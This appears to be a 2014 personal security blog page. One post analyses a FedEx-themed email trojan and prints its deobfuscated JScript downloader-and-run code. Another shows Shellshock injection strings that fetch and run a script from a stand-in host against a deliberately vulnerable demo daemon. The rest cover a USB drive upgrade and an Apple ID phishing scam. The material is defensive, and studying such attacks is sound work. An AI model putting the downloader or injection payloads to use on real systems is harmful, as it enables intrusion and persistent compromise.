E-mail Trojan Downloader: FedEx scam
Thursday, December 18. 2014
Today I got en e-mail from "FedEx" with subject Unable to deliver your item, #000203546. How nice of them! I hadn't ordered anything and wasn't expecting a shipment to arrive. Closer inspection of the e-mail revealed, that it contais a .zip-file and the zip-file contained a single document with extension .doc.js. An obvious scam!
Origins of the e-mail directed to Brazil, where somebody is running a Windows Server 2003 and SMTP-service enabled in it. Apparently, it is mis-configured, or couple of critical security patches weren't installed in time, as now the box is heavily compromised. The specific e-mail address they wanted to reach me is dedicated to domains I own. They are on public record anyway, so somebody could picked up my contact info from any of the domains I have.
The JavaScript-file from zip-file was heavily obfuscated, but in human-readable format it contained something like this:
gvar a1 = '';
function msjk() {
a1 += 'ave';
rus();
};function phqe() {
a1 += 'cume';
tzly();
};
...
function jfn() {
eval(a1);
};
...
function lkgj() {
a1 += '9.e';
xnk();
};
vi();
When all those functions are executed to the point of eval(), the de-obfuscated code is something like this:
function dl(fr, fn, rn) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange =
function() {
if (xo.readyState === 4) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn, 2);
xa.close();
};
};
try {
xo.open("GET", fr, false);
xo.send();
if (rn > 0) {
ws.Run(fn, 0, 0);
};
}
catch (er) {};
};
dl(...);
dl(...);
dl(...);
So, it liked to download and execute 3 files on my computer. However, the code is heavily Internet Explorer -specific and it didn't much work on my Firefox.
The 3 payloads in question download as 1135.jpg, 3711.jpg and 650.jpg, but the JavaScript code will save them as .exe-files. The compromised server where the payload-files are downloaded from is in New Jersey, USA. It is an IIS web server running an application made with .Net. At the time of writing this, the trojan payloads were still being delivered at the address.
The application at payload deployment site has even counter-measures built into it. When I tried downloading the payloads with a wget, it delivered 0 bytes. To get past the check a simple:
wget --user-agent="Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko"
will work.
All of the payloads are known malware, and when my Windows-box saw them over a network share, it didn't like them and informed me that I have a virus in my computer.
Anyway, as a conclusion the trojan downloader is targeting gullible persons running a version of IE. My virus protection already knew of the downloader, so it isn't much of a threat. Also, this is yet another proof of the importance of server security. The bad news for rest of us is, that those guys need only one badly administered box and they can taint the entire Internet.
SElinux and Shellshock
Sunday, December 14. 2014
The fallout from Shellshock seems to be over, but I ended up in a conversation about SElinux. So, this post is a follow-up on my Helsinki Security Meetup -post about SElinux.
Part 1: Enabling Shellshock
At this point, a flawed Bash isn't available without an intentional downgrade. First check the current version on my CentOS 7:
# rpm -q bash
bash-4.2.45-5.el7_0.4.x86_64
# bash --version
GNU bash, version 4.2.45(1)-release (x86_64-redhat-linux-gnu)
Then do a downgrade (it's amusing how downgrade is done via an upgrade command):
rpm --upgrade -h --oldpackage \
ftp://ftp.sunet.se/pub/Linux/distributions/centos/7.0.1406/os/x86_64/Packages/bash-4.2.45-5.el7.x86_64.rpm
Then check the version to make sure:
# rpm -q bash
bash-4.2.45-5.el7.x86_64
# bash --version
GNU bash, version 4.2.45(1)-release (x86_64-redhat-linux-gnu)
Somebody really dropped the ball there. It is impossible to determine if shellshock has been fixed or not. The version of Bash won't change! Anyway, the RPM-version tells the truth.
Part 2: The Setup
To act responsibly, I won't show how you can pop the cork of somebody's server. Instead, I created a demo application of my own which contains code similar to known flaws which allow Shellshock to do its dirty deeds.
The basic idea of my demo is to create a TCP-socket -based application to display current date and time on chosen locale. Full C-source code for date_daemon.c is available. From security perspective my code isn't that bad. This time (see the previous SElinux post), it doesn't allow you to run any command you like, but it runs date-comand from bash without any parameters. The part where I mess up, is that I don't sanitize or check the user input. To allow Shellshock to kick in, I'll set the un-sanitized user input into an environment variable LANG. If any sensible locale is entered, it will display the current date and time in the given format.
Example:
Hello there!
Get date at my box by entering your LANG preference and <enter>:
fi_FI
to 13.11.2014 02.43.10 +0200
From SElinux-perspective, I chose to emulate DHCPd-behaviour. There would have been other choices, but ... this time I went this way for a no particular reason. The source code can be compiled with a simple: gcc date_daemon.c -o date_daemon
Then to allow SElinux to kick in a shell-script and specific file-contexts are required. The start script (start.date_daemon.sh) is a very simple:
#!/bin/bash
exec ./date_daemon
Then change the file contexts:
chcon -t dhcpd_exec_t date_daemon
chcon -t initrc_exec_t start.date_daemon.sh
And confirm the result, that everything is set correctly from SElinux-perspective:
# ls -Z
-rwxr-xr-x. root root unconfined_u:object_r:dhcpd_exec_t:s0 date_daemon
-rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 date_daemon.c
-rwxr--r--. root root unconfined_u:object_r:initrc_exec_t:s0 start.date_daemon.sh
One last thing is that an Enforcing DHCPd cannot bind to any TCP-port you want. As I used TCP/8282, it needs to be allowed:
semanage port --add -t dhcpd_port_t -p tcp 8282
Then it is possible to run the leaky daemon: ./shellshock_test.sh
Finally, we'll confirm, that the process is running in DHCPd-context (in my case, the PID for the process is 25964):
# ps -Z 25964
LABEL PID TTY STAT TIME COMMAND
unconfined_u:system_r:dhcpd_t:s0 25964 ? S 0:00 ./date_daemon
Remember to make sure, that SElinux is in enforcing-mode. If it isn't it would be the same thing as running without SElinux:
# getenforce
Enforcing
All ok this far, let's move on for the good stuff.
Part 3: The Attack
Now that the sample daemon is running and SElinux is in enforcing-mode, let's run a sample attack on it. The set of commands I made up for this purpose is as follows:
- Get shellshock'd:
() { :;}; - Change into a target directory:
cd /bin ; - Create a temporary shell script injector.sh:
- rm nasty.worm.sh ;
- wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ;
- rm injector.sh ;
- bash nasty.worm.sh
- Run the injector-script:
bash injector.sh
The particular nasty worm in this example is a shell-script:
#!/bin/bash
now=$(date)
echo "$now: Your box is pwned!"
echo "$now: Your box is pwned!" >> /tmp/pwn.log
echo "# $now: Your box is pwned!" >> /etc/crontab
It won't do much harm. It simply gets the current date and time into a variable and prints it to standard output, into a log file and finally it modifies crontab-file to simulate a worm keeping itself alive.
Try injecting a new command into /bin/ (notice, the command in bold is a single line):
$ telnet localhost 8282
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Hello there!
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /bin ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh' > injector.sh ; bash injector.sh/bin/bash: injector.sh: Permission denied
bash: injector.sh: No such file or directory
Connection closed by foreign host.
Notice how it will fail on injecting.
Let's try something else. This is a typical comment that I get a lot: "but it can write into /tmp/!". Sure it can, let's try that:
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /tmp ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh' > injector.sh ; bash injector.sh
2014-11-13 05:01:35 URL:http://my.evil.site/nasty.worm.sh [156/156] -> "nasty.worm.sh" [1]
Thu Nov 13 05:01:35 EET 2014: Your box is pwned!
nasty.worm.sh: line 6: /etc/crontab: Permission denied
Connection closed by foreign host.
Nice, this time it actually did something. wget ran ok and it actually attempted to inject something. But the fact remains: it still runs with DHCPd-context which means it cannot do much. See:
# ls -Z /tmp/
-rw-r--r--. root root unconfined_u:object_r:dhcpd_tmp_t:s0 nasty.worm.sh
-rw-r--r--. root root unconfined_u:object_r:dhcpd_tmp_t:s0 pwn.log
Even the newly created files are in DHCPd tmp -context, they won't do much harm there.
Part 4: Let's Play what-if, Permissive SElinux
Permissive, Disabled or no SElinux at all will result in something else. Let's weaken the security first:
# setenforce Permissive
# getenforce
Permissive
Like this:
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /bin ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://blog.hqcodeshop.fi/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh' > injector.sh ; bash injector.sh
2014-11-13 05:02:30 URL:http://my.evil.site/nasty.worm.sh [156/156] -> "nasty.worm.sh" [1]
Thu Nov 13 05:02:30 EET 2014: Your box is pwned!
Connection closed by foreign host.
Yes, you'll have a brand new command sitting in /bin/:
# ls -Z /bin/nasty.worm.sh
-rw-r--r--. root root unconfined_u:object_r:bin_t:s0 /bin/nasty.worm.sh
Also your crontab will have a nice new row:
# cat /etc/crontab
...
# Thu Nov 13 05:02:30 EET 2014: Your box is pwned!
Not cool!
Part 5: Wrap-up
See: SElinux protects you even if you have software security failing.
Learn it! Love it! :-)
Adding capacity to Samsung Story USB-drive
Saturday, December 13. 2014
To make sure my data is properly protected, I keep a habit of lifting off monthly backups from my NAS to an external drive. I have couple of Samsung Story USB-drives dedicated for that purpose. This worked nicely for many years until I hit the brick wall. My combined monthly backup didn't fit the capacity of 1,5 TiB. It sure would be nice to have a "shingled" 8 TiB drive for that kind of storage, but unfortunately they are not available yet. See article New “Shingled” Hard Drives Hold Terabytes For Pennies A Gig.
In case you don't know what a Samsung Story drive is, it looks like this:
What I did was to pop the hood of my Story-drive to see what it had eaten. Very simple setup indeed, I went to a nearby store and got replacement 3 TiB WD Green drives (WD30EZRX).
Here is how the process goes. First pop the hood:
Quirk warning! The aluminium hood is held in place by 4 pieces of T9 Torx screws. The quirk here is, that T9 is not a common size. If you go to an average store, you'll find them having the smallest size of T10 (which is too big for this). Even my Apple repair kit doesn't have a T9, it has T8 and T10 pieces. I've taken apart Nokia phones, and they tend to have weird Torx-sizes, that's why I also have a kit which has T 4, 5, 6, 7, 8, 9 and 10. So, your biggest hurdle is to find a T9 somewhere.
When you have the aluminium cover removed, it'll look like this:
I included a blow-up of the warranty void -disclaimer sticker. I don't think Story drives have been manufactured for a while, so the warranty should be void anyway. Un-surprisingly, inside the box there is a Samsung 3,5" HD-drive, a HD154UI. Under the aluminium hood you will also find a plastic bracket. It just fills up the space making the actual drive fitting nicely and not moving. The bracket has a total of 8 plastic tabs holding it in place. I simply pushed one pair simultaneously from both sides, and I was able to lift the plastic holder up a bit. Then I just moved my fingers to the next pair and it moved more. The plastic thingie will look like this:
When the plastic bracket is gone, you can simply lift the drive upwards. It is held in place only by some rubber tabs, but the drive is essentially loose at this point:
Beware, that the S-ATA to USB -adapter (JMicron) is connected to the front-panel with a wire. That acts as a power on/off -switch for the entire thing. There are 4 wires in the connector, but I think only 2 of them are in use:
It is a pretty common connector and comes off easily by simply pulling it. The next thing is to remove the S-ATA / USB -converter -thingie from the drive. It is attached by a single #1 Phillips screw:
After the scew is gone, the entire converter-board will come loose from S-ATA -connector. Now that you have the hard drive almost completely stripped of all extra goodies, the last thing is to remove the rubber tabs and the kind-of-screws that hold them in place:
The rubber tabs or "pillows" come off by simply pulling them off from the sides. The metal "poles" are another story. They look like #1 Phillips, but the alloy they're made of is of poor quality. You can assume that a screwdriver isn't the primary tool here. I actually used pliers to turn them loose. Now everything is removed from the Samsung-drives, it's time to go big:
Just put the 4 metal screws back, fix the S-ATA / USB -converter board, attach the power-switch -cable, the rubber tabs and put the drive back to it's place. Like this:
After attaching the aluminium cover, it was a moment of truth. Does it still work? I plugged the power-cable and USB-cable back and went to my Linux:
kernel: usb 3-1.2: new high-speed USB device number 5 using xhci_hcd
kernel: usb 3-1.2: New USB device found, idVendor=04e8, idProduct=5f06
kernel: usb 3-1.2: Product: Samsung STORY Station
kernel: usb 3-1.2: Manufacturer: JMicron
kernel: usbcore: registered new interface driver usb-storage
kernel: scsi 9:0:0:0: Direct-Access Samsung STORY Station PQ: 0 ANSI: 2 CCS
kernel: sd 9:0:0:0: [sde] Very big device. Trying to use READ CAPACITY(16).
Looked really good! Checking to see what my new drive had out-of-the-box:
# parted /dev/sde print
Error: /dev/sde: unrecognised disk label
Model: Samsung STORY Station (scsi)
Disk /dev/sde: 3001GB
Sector size (logical/physical): 512B/512B
Partition Table: unknown
Disk Flags:
It had nothing. Full of zeros. Not even a partition table. I'd launched the parted and went for GPT and a new Btrfs partition:
# parted /dev/sde
GNU Parted 3.1
Using /dev/sde
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) mklabel gpt
(parted) mkpart "Backups" ext2 17.4kB -1
Warning: You requested a partition from 16.9kB to 3001GB (sectors
33..5860531215).
The closest location we can manage is 17.4kB to 3001GB (sectors
34..5860531215).
Is this still acceptable to you?
Yes/No? yes
Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? i
(parted) quit
Information: You may need to update /etc/fstab.
Continuing with setup:
# ls -l /dev/sde*
brw-rw----. 1 root disk 8, 64 Dec 8 23:07 /dev/sde
brw-rw----. 1 root disk 8, 65 Dec 8 23:06 /dev/sde1
# mkfs.btrfs /dev/sde1
Btrfs v3.17
See http://btrfs.wiki.kernel.org for more information.
Turning ON incompat feature 'extref': increased hardlink limit per file to 65536
fs created label (null) on /dev/sde1
nodesize 16384 leafsize 16384 sectorsize 4096 size 2.73TiB
Looking perfect! The JMicron thingie could handle all of the new capacity, Linux saw the USB-converter nicely:
# mount /dev/sde1 /mnt/usb/
# df -k /mnt/usb/
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sde1 2930265588 16896 2928139456 1% /mnt/usb
Cool! Really big numbers for capacity. Now I can manage with these couple years more.
Apple ID Scam
Sunday, December 7. 2014
Looks like somebody at Moldova was following The Fappening, and is getting bright ideas. I got an e-mail like this into one of my honeypot-addresses:
The fake e-mail goes like this:
Subject: Your apple id has been disabled 05/12/2014 09:44:30
Dear Customer;
We need to ask you to complete a short and brief step to securing and validating your account information.
https://appleid.apple.com
Failure to complete our validation process will result in a suspension of your Apple ID.
We take every step needed to automatically validate our users; unfortunately in your case we were unable to. The process only takes a couple of minutes and will make sure there is no interruption to your account.
I wasn't much surprised by that, becuse I don't use that account for anything serious (like Apple ID). I checked the link before clicking, obviously it wasn't to apple.com, but to a hijacked site located at Moldova. Somebody innocent was running an unpatched WordPress, and the crooks added some "bonus" content to the site. the HTML said: <meta name="generator" content="WordPress 3.5.1" />. The "apple ID" site looked pretty good (except, no HTTPS and that the address bar didn't match):
At the time of publishing this post, the victim-site has been pulled off the air, so there is no point in going there anymore.
Anyway, this is a yet another proof to be careful out there. In the Internet, most things aren't what they seem.